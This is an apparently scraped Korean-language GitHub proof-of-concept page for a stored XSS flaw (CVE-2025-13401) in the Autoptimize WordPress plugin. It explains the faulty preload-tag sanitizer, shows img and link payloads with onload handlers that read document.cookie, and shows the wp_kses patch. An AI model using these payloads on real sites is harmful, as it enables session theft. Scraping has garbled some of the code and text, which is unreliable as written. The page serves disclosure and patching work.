ciscocamelo/cve-2025-13401-xss-storedAutoptimize 3.1.14 미만에서 인증된 저장형 XSS에 대한 개념 증명으로, 이미지 사전 로드 태그 생성 시 불충분한 속성 삭제를 악용합니다.
취약점: 인증된 (Contributor+) 저장형 교차 사이트 스크립팅 (XSS)
영향받는 버전: Autoptimize <= 3.1.13
패치된 버전: Autoptimize 3.1.14
파일: classes/autoptimizeImages.php
이 취약점은 classes/autoptimizeImages.php 내의 create_img_preload_tag() 메서드에 존재합니다. 이 함수는 이미지 최적화 또는 사전 로드가 활성화된 경우 콘텐츠에서 발견된 이미지에 대한 <link rel="preload"> 태그를 생성하는 역할을 합니다.
버전 3.1.13에서 이 함수는 원래 `` 태그를 <link> 태그로 변환하기 전에 title, alt, class, id, , 같은 특정 속성을 제거하기 위해 "블랙리스트" 방식( 사용)을 사용합니다. 그러나 나 같은 이벤트 핸들러 속성은 제거하지 못합니다.
widthheightpreg_replaceonloadonerror인증된 공격자(최소 Contributor 역할 보유)는 게시물에 악성 `` 태그를 삽입할 수 있습니다. 플러그인이 이 게시물을 처리하여 사전 로드 링크를 생성하면 악성 이벤트 핸들러가 보존되어 <link> 태그 내부의 페이지 <head>에 주입됩니다. <link rel="preload">는 onload 이벤트를 지원하므로 리소스가 로드될 때 JavaScript가 실행됩니다.
// classes/autoptimizeImages.php
public static function create_img_preload_tag( $tag ) {
// ...
// rewrite img tag to link preload img.
$_from = array( '<img ', ' src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/," sizes=', ' srcset=' );
$_to = array( '<link rel="preload" as="image" ', ' href=', ' imagesizes=', ' imagesrcset=' );
$tag = str_replace( $_from, $_to, $tag );
// INSUFFICIENT SANITIZATION: Only removes specific attributes
$tag = preg_replace( '/ ((?:title|alt|class|id|loading|fetchpriority|decoding|data-no-lazy|width|height)=".*")/Um', '', $tag );
// ...
return $tag;
}
create_img_preload_tag는 뷰포트에서 감지된 이미지나 명시적으로 사전 로드된 이미지에서 자주 트리거됩니다.<img src="https://example.com/image.jpg" onload="alert('XSS_POC_SUCCESS')">
<!-- Malicious Image -->
<img src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
<link rel="preload" as="image" href="/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
width, height 등의 속성은 제거될 수 있지만 onload는 남아 있습니다.<link> 태그를 파싱하고 리소스를 사전 로드한 다음 onload 이벤트를 발생시켜 XSS를 실행합니다.패치는 블랙리스트 정규식을 wp_kses()로 대체하여 생성된 <link> 태그에 허용되는 속성에 대해 엄격한 화이트리스트를 적용합니다.
// classes/autoptimizeImages.php v3.1.14
$allowed_html = array(
'link' => array(
'rel' => true,
'as' => true,
'href' => true,
'imagesizes' => true,
'imagesrcset' => true,
'type' => true,
'media' => true,
),
);
$tag = wp_kses( $tag, $allowed_html );